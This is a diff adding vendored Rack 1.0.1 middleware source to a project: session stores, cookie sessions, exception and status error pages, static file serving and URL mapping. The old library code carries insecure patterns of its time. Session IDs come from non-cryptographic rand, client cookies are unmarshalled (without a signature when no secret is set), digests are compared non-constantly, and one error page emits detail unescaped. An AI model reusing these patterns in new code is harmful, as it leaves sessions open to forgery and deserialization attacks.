+        @tmpfile.close if @tmpfile
+        @data[1] = nil if @data
+        @tmpfile = nil
+      end
+    end
+
+    def make_rewindable
+      # Buffer all data into a tempfile. Since this tempfile is private to this
+      # RewindableInput object, we chmod it so that nobody else can read or write
+      # it. On POSIX filesystems we also unlink the file so that it doesn't
+      # even have a file entry on the filesystem anymore, though we can still
+      # access it because we have the file handle open.
+      @rewindable_io = Tempfile.new('RackRewindableInput')
+      @rewindable_io.chmod(0000)
+      @rewindable_io.set_encoding(Encoding::BINARY) if @rewindable_io.respond_to?(:set_encoding)
+      @rewindable_io.binmode
+      if filesystem_has_posix_semantics?
+        @rewindable_io.unlink
+        @unlinked = true
+      end
+      
+      buffer = ""
+      while @io.read(1024 * 4, buffer)
+        entire_buffer_written_out = false
+        while !entire_buffer_written_out
+          written = @rewindable_io.write(buffer)
+          entire_buffer_written_out = written == buffer.size
+          if !entire_buffer_written_out
+            buffer.slice!(0 .. written - 1)
+          end
+        end
+      end
+      @rewindable_io.rewind
+    end
+    
+    def filesystem_has_posix_semantics?
+      RUBY_PLATFORM !~ /(mswin|mingw|cygwin|java)/
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/session/abstract/id.rb b/vendor/gems/rack-1.0.1/lib/rack/session/abstract/id.rb
new file mode 100644
index 00000000..218144c1
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/session/abstract/id.rb
@@ -0,0 +1,142 @@
+# AUTHOR: blink <blinketje@gmail.com>; blink#ruby-lang@irc.freenode.net
+# bugrep: Andreas Zehnder
+
+require 'time'
+require 'rack/request'
+require 'rack/response'
+
+module Rack
+
+  module Session
+
+    module Abstract
+
+      # ID sets up a basic framework for implementing an id based sessioning
+      # service. Cookies sent to the client for maintaining sessions will only
+      # contain an id reference. Only #get_session and #set_session are
+      # required to be overwritten.
+      #
+      # All parameters are optional.
+      # * :key determines the name of the cookie, by default it is
+      #   'rack.session'
+      # * :path, :domain, :expire_after, :secure, and :httponly set the related
+      #   cookie options as by Rack::Response#add_cookie
+      # * :defer will not set a cookie in the response.
+      # * :renew (implementation dependent) will prompt the generation of a new
+      #   session id, and migration of data to be referenced at the new id. If
+      #   :defer is set, it will be overridden and the cookie will be set.
+      # * :sidbits sets the number of bits in length that a generated session
+      #   id will be.
+      #
+      # These options can be set on a per request basis, at the location of
+      # env['rack.session.options']. Additionally the id of the session can be
+      # found within the options hash at the key :id. It is highly not
+      # recommended to change its value.
+      #
+      # Is Rack::Utils::Context compatible.
+
+      class ID
+        DEFAULT_OPTIONS = {
+          :path =>          '/',
+          :domain =>        nil,
+          :expire_after =>  nil,
+          :secure =>        false,
+          :httponly =>      true,
+          :defer =>         false,
+          :renew =>         false,
+          :sidbits =>       128
+        }
+
+        attr_reader :key, :default_options
+        def initialize(app, options={})
+          @app = app
+          @key = options[:key] || "rack.session"
+          @default_options = self.class::DEFAULT_OPTIONS.merge(options)
+        end
+
+        def call(env)
+          context(env)
+        end
+
+        def context(env, app=@app)
+          load_session(env)
+          status, headers, body = app.call(env)
+          commit_session(env, status, headers, body)
+        end
+
+        private
+
+        # Generate a new session id using Ruby #rand.  The size of the
+        # session id is controlled by the :sidbits option.
+        # Monkey patch this to use custom methods for session id generation.
+
+        def generate_sid
+          "%0#{@default_options[:sidbits] / 4}x" %
+            rand(2**@default_options[:sidbits] - 1)
+        end
+
+        # Extracts the session id from provided cookies and passes it and the
+        # environment to #get_session. It then sets the resulting session into
+        # 'rack.session', and places options and session metadata into
+        # 'rack.session.options'.
+
+        def load_session(env)
+          request = Rack::Request.new(env)
+          session_id = request.cookies[@key]
+
+          begin
+            session_id, session = get_session(env, session_id)
+            env['rack.session'] = session
+          rescue
+            env['rack.session'] = Hash.new
+          end
+
+          env['rack.session.options'] = @default_options.
+            merge(:id => session_id)
+        end
+
+        # Acquires the session from the environment and the session id from
+        # the session options and passes them to #set_session. If successful
+        # and the :defer option is not true, a cookie will be added to the
+        # response with the session's id.
+
+        def commit_session(env, status, headers, body)
+          session = env['rack.session']
+          options = env['rack.session.options']
+          session_id = options[:id]
+
+          if not session_id = set_session(env, session_id, session, options)
+            env["rack.errors"].puts("Warning! #{self.class.name} failed to save session. Content dropped.")
+            [status, headers, body]
+          elsif options[:defer] and not options[:renew]
+            env["rack.errors"].puts("Defering cookie for #{session_id}") if $VERBOSE
+            [status, headers, body]
+          else
+            cookie = Hash.new
+            cookie[:value] = session_id
+            cookie[:expires] = Time.now + options[:expire_after] unless options[:expire_after].nil?
+            response = Rack::Response.new(body, status, headers)
+            response.set_cookie(@key, cookie.merge(options))
+            response.to_a
+          end
+        end
+
+        # All thread safety and session retrival proceedures should occur here.
+        # Should return [session_id, session].
+        # If nil is provided as the session id, generation of a new valid id
+        # should occur within.
+
+        def get_session(env, sid)
+          raise '#get_session not implemented.'
+        end
+
+        # All thread safety and session storage proceedures should occur here.
+        # Should return true or false dependant on whether or not the session
+        # was saved or not.
+        def set_session(env, sid, session, options)
+          raise '#set_session not implemented.'
+        end
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/session/cookie.rb b/vendor/gems/rack-1.0.1/lib/rack/session/cookie.rb
new file mode 100644
index 00000000..eace9bd0
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/session/cookie.rb
@@ -0,0 +1,91 @@
+require 'openssl'
+require 'rack/request'
+require 'rack/response'
+
+module Rack
+
+  module Session
+
+    # Rack::Session::Cookie provides simple cookie based session management.
+    # The session is a Ruby Hash stored as base64 encoded marshalled data
+    # set to :key (default: rack.session).
+    # When the secret key is set, cookie data is checked for data integrity.
+    #
+    # Example:
+    #
+    #     use Rack::Session::Cookie, :key => 'rack.session',
+    #                                :domain => 'foo.com',
+    #                                :path => '/',
+    #                                :expire_after => 2592000,
+    #                                :secret => 'change_me'
+    #
+    #     All parameters are optional.
+
+    class Cookie
+
+      def initialize(app, options={})
+        @app = app
+        @key = options[:key] || "rack.session"
+        @secret = options[:secret]
+        @default_options = {:domain => nil,
+          :path => "/",
+          :expire_after => nil}.merge(options)
+      end
+
+      def call(env)
+        load_session(env)
+        status, headers, body = @app.call(env)
+        commit_session(env, status, headers, body)
+      end
+
+      private
+
+      def load_session(env)
+        request = Rack::Request.new(env)
+        session_data = request.cookies[@key]
+
+        if @secret && session_data
+          session_data, digest = session_data.split("--")
+          session_data = nil  unless digest == generate_hmac(session_data)
+        end
+
+        begin
+          session_data = session_data.unpack("m*").first
+          session_data = Marshal.load(session_data)
+          env["rack.session"] = session_data
+        rescue
+          env["rack.session"] = Hash.new
+        end
+
+        env["rack.session.options"] = @default_options.dup
+      end
+
+      def commit_session(env, status, headers, body)
+        session_data = Marshal.dump(env["rack.session"])
+        session_data = [session_data].pack("m*")
+
+        if @secret
+          session_data = "#{session_data}--#{generate_hmac(session_data)}"
+        end
+
+        if session_data.size > (4096 - @key.size)
+          env["rack.errors"].puts("Warning! Rack::Session::Cookie data size exceeds 4K. Content dropped.")
+          [status, headers, body]
+        else
+          options = env["rack.session.options"]
+          cookie = Hash.new
+          cookie[:value] = session_data
+          cookie[:expires] = Time.now + options[:expire_after] unless options[:expire_after].nil?
+          response = Rack::Response.new(body, status, headers)
+          response.set_cookie(@key, cookie.merge(options))
+          response.to_a
+        end
+      end
+
+      def generate_hmac(data)
+        OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, @secret, data)
+      end
+
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/session/memcache.rb b/vendor/gems/rack-1.0.1/lib/rack/session/memcache.rb
new file mode 100644
index 00000000..4a65cbf3
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/session/memcache.rb
@@ -0,0 +1,109 @@
+# AUTHOR: blink <blinketje@gmail.com>; blink#ruby-lang@irc.freenode.net
+
+require 'rack/session/abstract/id'
+require 'memcache'
+
+module Rack
+  module Session
+    # Rack::Session::Memcache provides simple cookie based session management.
+    # Session data is stored in memcached. The corresponding session key is
+    # maintained in the cookie.
+    # You may treat Session::Memcache as you would Session::Pool with the
+    # following caveats.
+    #
+    # * Setting :expire_after to 0 would note to the Memcache server to hang
+    #   onto the session data until it would drop it according to it's own
+    #   specifications. However, the cookie sent to the client would expire
+    #   immediately.
+    #
+    # Note that memcache does drop data before it may be listed to expire. For
+    # a full description of behaviour, please see memcache's documentation.
+
+    class Memcache < Abstract::ID
+      attr_reader :mutex, :pool
+      DEFAULT_OPTIONS = Abstract::ID::DEFAULT_OPTIONS.merge \
+        :namespace => 'rack:session',
+        :memcache_server => 'localhost:11211'
+
+      def initialize(app, options={})
+        super
+
+        @mutex = Mutex.new
+        @pool = MemCache.
+          new @default_options[:memcache_server], @default_options
+        raise 'No memcache servers' unless @pool.servers.any?{|s|s.alive?}
+      end
+
+      def generate_sid
+        loop do
+          sid = super
+          break sid unless @pool.get(sid, true)
+        end
+      end
+
+      def get_session(env, sid)
+        session = @pool.get(sid) if sid
+        @mutex.lock if env['rack.multithread']
+        unless sid and session
+          env['rack.errors'].puts("Session '#{sid.inspect}' not found, initializing...") if $VERBOSE and not sid.nil?
+          session = {}
+          sid = generate_sid
+          ret = @pool.add sid, session
+          raise "Session collision on '#{sid.inspect}'" unless /^STORED/ =~ ret
+        end
+        session.instance_variable_set('@old', {}.merge(session))
+        return [sid, session]
+      rescue MemCache::MemCacheError, Errno::ECONNREFUSED # MemCache server cannot be contacted
+        warn "#{self} is unable to find server."
+        warn $!.inspect
+        return [ nil, {} ]
+      ensure
+        @mutex.unlock if env['rack.multithread']
+      end
+
+      def set_session(env, session_id, new_session, options)
+        expiry = options[:expire_after]
+        expiry = expiry.nil? ? 0 : expiry + 1
+
+        @mutex.lock if env['rack.multithread']
+        session = @pool.get(session_id) || {}
+        if options[:renew] or options[:drop]
+          @pool.delete session_id
+          return false if options[:drop]
+          session_id = generate_sid
+          @pool.add session_id, 0 # so we don't worry about cache miss on #set
+        end
+        old_session = new_session.instance_variable_get('@old') || {}
+        session = merge_sessions session_id, old_session, new_session, session
+        @pool.set session_id, session, expiry
+        return session_id
+      rescue MemCache::MemCacheError, Errno::ECONNREFUSED # MemCache server cannot be contacted
+        warn "#{self} is unable to find server."
+        warn $!.inspect
+        return false
+      ensure
+        @mutex.unlock if env['rack.multithread']
+      end
+
+      private
+
+      def merge_sessions sid, old, new, cur=nil
+        cur ||= {}
+        unless Hash === old and Hash === new
+          warn 'Bad old or new sessions provided.'
+          return cur
+        end
+
+        delete = old.keys - new.keys
+        warn "//@#{sid}: delete #{delete*','}" if $VERBOSE and not delete.empty?
+        delete.each{|k| cur.delete k }
+
+        update = new.keys.select{|k| new[k] != old[k] }
+        warn "//@#{sid}: update #{update*','}" if $VERBOSE and not update.empty?
+        update.each{|k| cur[k] = new[k] }
+
+        cur
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/session/pool.rb b/vendor/gems/rack-1.0.1/lib/rack/session/pool.rb
new file mode 100644
index 00000000..f6f87408
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/session/pool.rb
@@ -0,0 +1,100 @@
+# AUTHOR: blink <blinketje@gmail.com>; blink#ruby-lang@irc.freenode.net
+# THANKS:
+#   apeiros, for session id generation, expiry setup, and threadiness
+#   sergio, threadiness and bugreps
+
+require 'rack/session/abstract/id'
+require 'thread'
+
+module Rack
+  module Session
+    # Rack::Session::Pool provides simple cookie based session management.
+    # Session data is stored in a hash held by @pool.
+    # In the context of a multithreaded environment, sessions being
+    # committed to the pool is done in a merging manner.
+    #
+    # The :drop option is available in rack.session.options if you with to
+    # explicitly remove the session from the session cache.
+    #
+    # Example:
+    #   myapp = MyRackApp.new
+    #   sessioned = Rack::Session::Pool.new(myapp,
+    #     :domain => 'foo.com',
+    #     :expire_after => 2592000
+    #   )
+    #   Rack::Handler::WEBrick.run sessioned
+
+    class Pool < Abstract::ID
+      attr_reader :mutex, :pool
+      DEFAULT_OPTIONS = Abstract::ID::DEFAULT_OPTIONS.merge :drop => false
+
+      def initialize(app, options={})
+        super
+        @pool = Hash.new
+        @mutex = Mutex.new
+      end
+
+      def generate_sid
+        loop do
+          sid = super
+          break sid unless @pool.key? sid
+        end
+      end
+
+      def get_session(env, sid)
+        session = @pool[sid] if sid
+        @mutex.lock if env['rack.multithread']
+        unless sid and session
+          env['rack.errors'].puts("Session '#{sid.inspect}' not found, initializing...") if $VERBOSE and not sid.nil?
+          session = {}
+          sid = generate_sid
+          @pool.store sid, session
+        end
+        session.instance_variable_set('@old', {}.merge(session))
+        return [sid, session]
+      ensure
+        @mutex.unlock if env['rack.multithread']
+      end
+
+      def set_session(env, session_id, new_session, options)
+        @mutex.lock if env['rack.multithread']
+        session = @pool[session_id]
+        if options[:renew] or options[:drop]
+          @pool.delete session_id
+          return false if options[:drop]
+          session_id = generate_sid
+          @pool.store session_id, 0
+        end
+        old_session = new_session.instance_variable_get('@old') || {}
+        session = merge_sessions session_id, old_session, new_session, session
+        @pool.store session_id, session
+        return session_id
+      rescue
+        warn "#{new_session.inspect} has been lost."
+        warn $!.inspect
+      ensure
+        @mutex.unlock if env['rack.multithread']
+      end
+
+      private
+
+      def merge_sessions sid, old, new, cur=nil
+        cur ||= {}
+        unless Hash === old and Hash === new
+          warn 'Bad old or new sessions provided.'
+          return cur
+        end
+
+        delete = old.keys - new.keys
+        warn "//@#{sid}: dropping #{delete*','}" if $DEBUG and not delete.empty?
+        delete.each{|k| cur.delete k }
+
+        update = new.keys.select{|k| new[k] != old[k] }
+        warn "//@#{sid}: updating #{update*','}" if $DEBUG and not update.empty?
+        update.each{|k| cur[k] = new[k] }
+
+        cur
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/showexceptions.rb b/vendor/gems/rack-1.0.1/lib/rack/showexceptions.rb
new file mode 100644
index 00000000..697bc41f
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/showexceptions.rb
@@ -0,0 +1,349 @@
+require 'ostruct'
+require 'erb'
+require 'rack/request'
+require 'rack/utils'
+
+module Rack
+  # Rack::ShowExceptions catches all exceptions raised from the app it
+  # wraps.  It shows a useful backtrace with the sourcefile and
+  # clickable context, the whole Rack environment and the request
+  # data.
+  #
+  # Be careful when you use this on public-facing sites as it could
+  # reveal information helpful to attackers.
+
+  class ShowExceptions
+    CONTEXT = 7
+
+    def initialize(app)
+      @app = app
+      @template = ERB.new(TEMPLATE)
+    end
+
+    def call(env)
+      @app.call(env)
+    rescue StandardError, LoadError, SyntaxError => e
+      backtrace = pretty(env, e)
+      [500,
+       {"Content-Type" => "text/html",
+        "Content-Length" => backtrace.join.size.to_s},
+       backtrace]
+    end
+
+    def pretty(env, exception)
+      req = Rack::Request.new(env)
+      path = (req.script_name + req.path_info).squeeze("/")
+
+      frames = exception.backtrace.map { |line|
+        frame = OpenStruct.new
+        if line =~ /(.*?):(\d+)(:in `(.*)')?/
+          frame.filename = $1
+          frame.lineno = $2.to_i
+          frame.function = $4
+
+          begin
+            lineno = frame.lineno-1
+            lines = ::File.readlines(frame.filename)
+            frame.pre_context_lineno = [lineno-CONTEXT, 0].max
+            frame.pre_context = lines[frame.pre_context_lineno...lineno]
+            frame.context_line = lines[lineno].chomp
+            frame.post_context_lineno = [lineno+CONTEXT, lines.size].min
+            frame.post_context = lines[lineno+1..frame.post_context_lineno]
+          rescue
+          end
+
+          frame
+        else
+          nil
+        end
+      }.compact
+
+      env["rack.errors"].puts "#{exception.class}: #{exception.message}"
+      env["rack.errors"].puts exception.backtrace.map { |l| "\t" + l }
+      env["rack.errors"].flush
+
+      [@template.result(binding)]
+    end
+
+    def h(obj)                  # :nodoc:
+      case obj
+      when String
+        Utils.escape_html(obj)
+      else
+        Utils.escape_html(obj.inspect)
+      end
+    end
+
+    # :stopdoc:
+
+# adapted from Django <djangoproject.com>
+# Copyright (c) 2005, the Lawrence Journal-World
+# Used under the modified BSD license:
+# http://www.xfree86.org/3.3.6/COPYRIGHT2.html#5
+TEMPLATE = <<'HTML'
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
+<html lang="en">
+<head>
+  <meta http-equiv="content-type" content="text/html; charset=utf-8" />
+  <meta name="robots" content="NONE,NOARCHIVE" />
+  <title><%=h exception.class %> at <%=h path %></title>
+  <style type="text/css">
+    html * { padding:0; margin:0; }
+    body * { padding:10px 20px; }
+    body * * { padding:0; }
+    body { font:small sans-serif; }
+    body>div { border-bottom:1px solid #ddd; }
+    h1 { font-weight:normal; }
+    h2 { margin-bottom:.8em; }
+    h2 span { font-size:80%; color:#666; font-weight:normal; }
+    h3 { margin:1em 0 .5em 0; }
+    h4 { margin:0 0 .5em 0; font-weight: normal; }
+    table {
+        border:1px solid #ccc; border-collapse: collapse; background:white; }
+    tbody td, tbody th { vertical-align:top; padding:2px 3px; }
+    thead th {
+        padding:1px 6px 1px 3px; background:#fefefe; text-align:left;
+        font-weight:normal; font-size:11px; border:1px solid #ddd; }
+    tbody th { text-align:right; color:#666; padding-right:.5em; }
+    table.vars { margin:5px 0 2px 40px; }
+    table.vars td, table.req td { font-family:monospace; }
+    table td.code { width:100%;}
+    table td.code div { overflow:hidden; }
+    table.source th { color:#666; }
+    table.source td {
+        font-family:monospace; white-space:pre; border-bottom:1px solid #eee; }
+    ul.traceback { list-style-type:none; }
+    ul.traceback li.frame { margin-bottom:1em; }
+    div.context { margin: 10px 0; }
+    div.context ol {
+        padding-left:30px; margin:0 10px; list-style-position: inside; }
+    div.context ol li {
+        font-family:monospace; white-space:pre; color:#666; cursor:pointer; }
+    div.context ol.context-line li { color:black; background-color:#ccc; }
+    div.context ol.context-line li span { float: right; }
+    div.commands { margin-left: 40px; }
+    div.commands a { color:black; text-decoration:none; }
+    #summary { background: #ffc; }
+    #summary h2 { font-weight: normal; color: #666; }
+    #summary ul#quicklinks { list-style-type: none; margin-bottom: 2em; }
+    #summary ul#quicklinks li { float: left; padding: 0 1em; }
+    #summary ul#quicklinks>li+li { border-left: 1px #666 solid; }
+    #explanation { background:#eee; }
+    #template, #template-not-exist { background:#f6f6f6; }
+    #template-not-exist ul { margin: 0 0 0 20px; }
+    #traceback { background:#eee; }
+    #requestinfo { background:#f6f6f6; padding-left:120px; }
+    #summary table { border:none; background:transparent; }
+    #requestinfo h2, #requestinfo h3 { position:relative; margin-left:-100px; }
+    #requestinfo h3 { margin-bottom:-1em; }
+    .error { background: #ffc; }
+    .specific { color:#cc3300; font-weight:bold; }
+  </style>
+  <script type="text/javascript">
+  //<!--
+    function getElementsByClassName(oElm, strTagName, strClassName){
+        // Written by Jonathan Snook, http://www.snook.ca/jon;
+        // Add-ons by Robert Nyman, http://www.robertnyman.com
+        var arrElements = (strTagName == "*" && document.all)? document.all :
+        oElm.getElementsByTagName(strTagName);
+        var arrReturnElements = new Array();
+        strClassName = strClassName.replace(/\-/g, "\\-");
+        var oRegExp = new RegExp("(^|\\s)" + strClassName + "(\\s|$$)");
+        var oElement;
+        for(var i=0; i<arrElements.length; i++){
+            oElement = arrElements[i];
+            if(oRegExp.test(oElement.className)){
+                arrReturnElements.push(oElement);
+            }
+        }
+        return (arrReturnElements)
+    }
+    function hideAll(elems) {
+      for (var e = 0; e < elems.length; e++) {
+        elems[e].style.display = 'none';
+      }
+    }
+    window.onload = function() {
+      hideAll(getElementsByClassName(document, 'table', 'vars'));
+      hideAll(getElementsByClassName(document, 'ol', 'pre-context'));
+      hideAll(getElementsByClassName(document, 'ol', 'post-context'));
+    }
+    function toggle() {
+      for (var i = 0; i < arguments.length; i++) {
+        var e = document.getElementById(arguments[i]);
+        if (e) {
+          e.style.display = e.style.display == 'none' ? 'block' : 'none';
+        }
+      }
+      return false;
+    }
+    function varToggle(link, id) {
+      toggle('v' + id);
+      var s = link.getElementsByTagName('span')[0];
+      var uarr = String.fromCharCode(0x25b6);
+      var darr = String.fromCharCode(0x25bc);
+      s.innerHTML = s.innerHTML == uarr ? darr : uarr;
+      return false;
+    }
+    //-->
+  </script>
+</head>
+<body>
+
+<div id="summary">
+  <h1><%=h exception.class %> at <%=h path %></h1>
+  <h2><%=h exception.message %></h2>
+  <table><tr>
+    <th>Ruby</th>
+    <td><code><%=h frames.first.filename %></code>: in <code><%=h frames.first.function %></code>, line <%=h frames.first.lineno %></td>
+  </tr><tr>
+    <th>Web</th>
+    <td><code><%=h req.request_method %> <%=h(req.host + path)%></code></td>
+  </tr></table>
+
+  <h3>Jump to:</h3>
+  <ul id="quicklinks">
+    <li><a href="#get-info">GET</a></li>
+    <li><a href="#post-info">POST</a></li>
+    <li><a href="#cookie-info">Cookies</a></li>
+    <li><a href="#env-info">ENV</a></li>
+  </ul>
+</div>
+
+<div id="traceback">
+  <h2>Traceback <span>(innermost first)</span></h2>
+  <ul class="traceback">
+<% frames.each { |frame| %>
+      <li class="frame">
+        <code><%=h frame.filename %></code>: in <code><%=h frame.function %></code>
+
+          <% if frame.context_line %>
+          <div class="context" id="c<%=h frame.object_id %>">
+              <% if frame.pre_context %>
+              <ol start="<%=h frame.pre_context_lineno+1 %>" class="pre-context" id="pre<%=h frame.object_id %>">
+                <% frame.pre_context.each { |line| %>
+                <li onclick="toggle('pre<%=h frame.object_id %>', 'post<%=h frame.object_id %>')"><%=h line %></li>
+                <% } %>
+              </ol>
+              <% end %>
+
+            <ol start="<%=h frame.lineno %>" class="context-line">
+              <li onclick="toggle('pre<%=h frame.object_id %>', 'post<%=h frame.object_id %>')"><%=h frame.context_line %><span>...</span></li></ol>
+
+              <% if frame.post_context %>
+              <ol start='<%=h frame.lineno+1 %>' class="post-context" id="post<%=h frame.object_id %>">
+                <% frame.post_context.each { |line| %>
+                <li onclick="toggle('pre<%=h frame.object_id %>', 'post<%=h frame.object_id %>')"><%=h line %></li>
+                <% } %>
+              </ol>
+              <% end %>
+          </div>
+          <% end %>
+      </li>
+<% } %>
+  </ul>
+</div>
+
+<div id="requestinfo">
+  <h2>Request information</h2>
+
+  <h3 id="get-info">GET</h3>
+  <% unless req.GET.empty? %>
+    <table class="req">
+      <thead>
+        <tr>
+          <th>Variable</th>
+          <th>Value</th>
+        </tr>
+      </thead>
+      <tbody>
+          <% req.GET.sort_by { |k, v| k.to_s }.each { |key, val| %>
+          <tr>
+            <td><%=h key %></td>
+            <td class="code"><div><%=h val.inspect %></div></td>
+          </tr>
+          <% } %>
+      </tbody>
+    </table>
+  <% else %>
+    <p>No GET data.</p>
+  <% end %>
+
+  <h3 id="post-info">POST</h3>
+  <% unless req.POST.empty? %>
+    <table class="req">
+      <thead>
+        <tr>
+          <th>Variable</th>
+          <th>Value</th>
+        </tr>
+      </thead>
+      <tbody>
+          <% req.POST.sort_by { |k, v| k.to_s }.each { |key, val| %>
+          <tr>
+            <td><%=h key %></td>
+            <td class="code"><div><%=h val.inspect %></div></td>
+          </tr>
+          <% } %>
+      </tbody>
+    </table>
+  <% else %>
+    <p>No POST data.</p>
+  <% end %>
+
+
+  <h3 id="cookie-info">COOKIES</h3>
+  <% unless req.cookies.empty? %>
+    <table class="req">
+      <thead>
+        <tr>
+          <th>Variable</th>
+          <th>Value</th>
+        </tr>
+      </thead>
+      <tbody>
+        <% req.cookies.each { |key, val| %>
+          <tr>
+            <td><%=h key %></td>
+            <td class="code"><div><%=h val.inspect %></div></td>
+          </tr>
+        <% } %>
+      </tbody>
+    </table>
+  <% else %>
+    <p>No cookie data.</p>
+  <% end %>
+
+  <h3 id="env-info">Rack ENV</h3>
+    <table class="req">
+      <thead>
+        <tr>
+          <th>Variable</th>
+          <th>Value</th>
+        </tr>
+      </thead>
+      <tbody>
+          <% env.sort_by { |k, v| k.to_s }.each { |key, val| %>
+          <tr>
+            <td><%=h key %></td>
+            <td class="code"><div><%=h val %></div></td>
+          </tr>
+          <% } %>
+      </tbody>
+    </table>
+
+</div>
+
+<div id="explanation">
+  <p>
+    You're seeing this error because you use <code>Rack::ShowExceptions</code>.
+  </p>
+</div>
+
+</body>
+</html>
+HTML
+
+    # :startdoc:
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/showstatus.rb b/vendor/gems/rack-1.0.1/lib/rack/showstatus.rb
new file mode 100644
index 00000000..28258c7c
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/showstatus.rb
@@ -0,0 +1,106 @@
+require 'erb'
+require 'rack/request'
+require 'rack/utils'
+
+module Rack
+  # Rack::ShowStatus catches all empty responses the app it wraps and
+  # replaces them with a site explaining the error.
+  #
+  # Additional details can be put into <tt>rack.showstatus.detail</tt>
+  # and will be shown as HTML.  If such details exist, the error page
+  # is always rendered, even if the reply was not empty.
+
+  class ShowStatus
+    def initialize(app)
+      @app = app
+      @template = ERB.new(TEMPLATE)
+    end
+
+    def call(env)
+      status, headers, body = @app.call(env)
+      headers = Utils::HeaderHash.new(headers)
+      empty = headers['Content-Length'].to_i <= 0
+
+      # client or server error, or explicit message
+      if (status.to_i >= 400 && empty) || env["rack.showstatus.detail"]
+        req = Rack::Request.new(env)
+        message = Rack::Utils::HTTP_STATUS_CODES[status.to_i] || status.to_s
+        detail = env["rack.showstatus.detail"] || message
+        body = @template.result(binding)
+        size = Rack::Utils.bytesize(body)
+        [status, headers.merge("Content-Type" => "text/html", "Content-Length" => size.to_s), [body]]
+      else
+        [status, headers, body]
+      end
+    end
+
+    def h(obj)                  # :nodoc:
+      case obj
+      when String
+        Utils.escape_html(obj)
+      else
+        Utils.escape_html(obj.inspect)
+      end
+    end
+
+    # :stopdoc:
+
+# adapted from Django <djangoproject.com>
+# Copyright (c) 2005, the Lawrence Journal-World
+# Used under the modified BSD license:
+# http://www.xfree86.org/3.3.6/COPYRIGHT2.html#5
+TEMPLATE = <<'HTML'
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
+<html lang="en">
+<head>
+  <meta http-equiv="content-type" content="text/html; charset=utf-8" />
+  <title><%=h message %> at <%=h req.script_name + req.path_info %></title>
+  <meta name="robots" content="NONE,NOARCHIVE" />
+  <style type="text/css">
+    html * { padding:0; margin:0; }
+    body * { padding:10px 20px; }
+    body * * { padding:0; }
+    body { font:small sans-serif; background:#eee; }
+    body>div { border-bottom:1px solid #ddd; }
+    h1 { font-weight:normal; margin-bottom:.4em; }
+    h1 span { font-size:60%; color:#666; font-weight:normal; }
+    table { border:none; border-collapse: collapse; width:100%; }
+    td, th { vertical-align:top; padding:2px 3px; }
+    th { width:12em; text-align:right; color:#666; padding-right:.5em; }
+    #info { background:#f6f6f6; }
+    #info ol { margin: 0.5em 4em; }
+    #info ol li { font-family: monospace; }
+    #summary { background: #ffc; }
+    #explanation { background:#eee; border-bottom: 0px none; }
+  </style>
+</head>
+<body>
+  <div id="summary">
+    <h1><%=h message %> <span>(<%= status.to_i %>)</span></h1>
+    <table class="meta">
+      <tr>
+        <th>Request Method:</th>
+        <td><%=h req.request_method %></td>
+      </tr>
+      <tr>
+        <th>Request URL:</th>
+      <td><%=h req.url %></td>
+      </tr>
+    </table>
+  </div>
+  <div id="info">
+    <p><%= detail %></p>
+  </div>
+
+  <div id="explanation">
+    <p>
+    You're seeing this error because you use <code>Rack::ShowStatus</code>.
+    </p>
+  </div>
+</body>
+</html>
+HTML
+
+    # :startdoc:
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/static.rb b/vendor/gems/rack-1.0.1/lib/rack/static.rb
new file mode 100644
index 00000000..168e8f83
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/static.rb
@@ -0,0 +1,38 @@
+module Rack
+
+  # The Rack::Static middleware intercepts requests for static files
+  # (javascript files, images, stylesheets, etc) based on the url prefixes
+  # passed in the options, and serves them using a Rack::File object. This
+  # allows a Rack stack to serve both static and dynamic content.
+  #
+  # Examples:
+  #     use Rack::Static, :urls => ["/media"]
+  #     will serve all requests beginning with /media from the "media" folder
+  #     located in the current directory (ie media/*).
+  #
+  #     use Rack::Static, :urls => ["/css", "/images"], :root => "public"
+  #     will serve all requests beginning with /css or /images from the folder
+  #     "public" in the current directory (ie public/css/* and public/images/*)
+
+  class Static
+
+    def initialize(app, options={})
+      @app = app
+      @urls = options[:urls] || ["/favicon.ico"]
+      root = options[:root] || Dir.pwd
+      @file_server = Rack::File.new(root)
+    end
+
+    def call(env)
+      path = env["PATH_INFO"]
+      can_serve = @urls.any? { |url| path.index(url) == 0 }
+
+      if can_serve
+        @file_server.call(env)
+      else
+        @app.call(env)
+      end
+    end
+
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/urlmap.rb b/vendor/gems/rack-1.0.1/lib/rack/urlmap.rb
new file mode 100644
index 00000000..fcf6616c
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/urlmap.rb
@@ -0,0 +1,55 @@
+module Rack
+  # Rack::URLMap takes a hash mapping urls or paths to apps, and
+  # dispatches accordingly.  Support for HTTP/1.1 host names exists if
+  # the URLs start with <tt>http://</tt> or <tt>https://</tt>.
+  #
+  # URLMap modifies the SCRIPT_NAME and PATH_INFO such that the part
+  # relevant for dispatch is in the SCRIPT_NAME, and the rest in the
+  # PATH_INFO.  This should be taken care of when you need to
+  # reconstruct the URL in order to create links.
+  #
+  # URLMap dispatches in such a way that the longest paths are tried
+  # first, since they are most specific.
+
+  class URLMap
+    def initialize(map = {})
+      remap(map)
+    end
+
+    def remap(map)
+      @mapping = map.map { |location, app|
+        if location =~ %r{\Ahttps?://(.*?)(/.*)}
+          host, location = $1, $2
+        else
+          host = nil
+        end
+
+        unless location[0] == ?/
+          raise ArgumentError, "paths need to start with /"
+        end
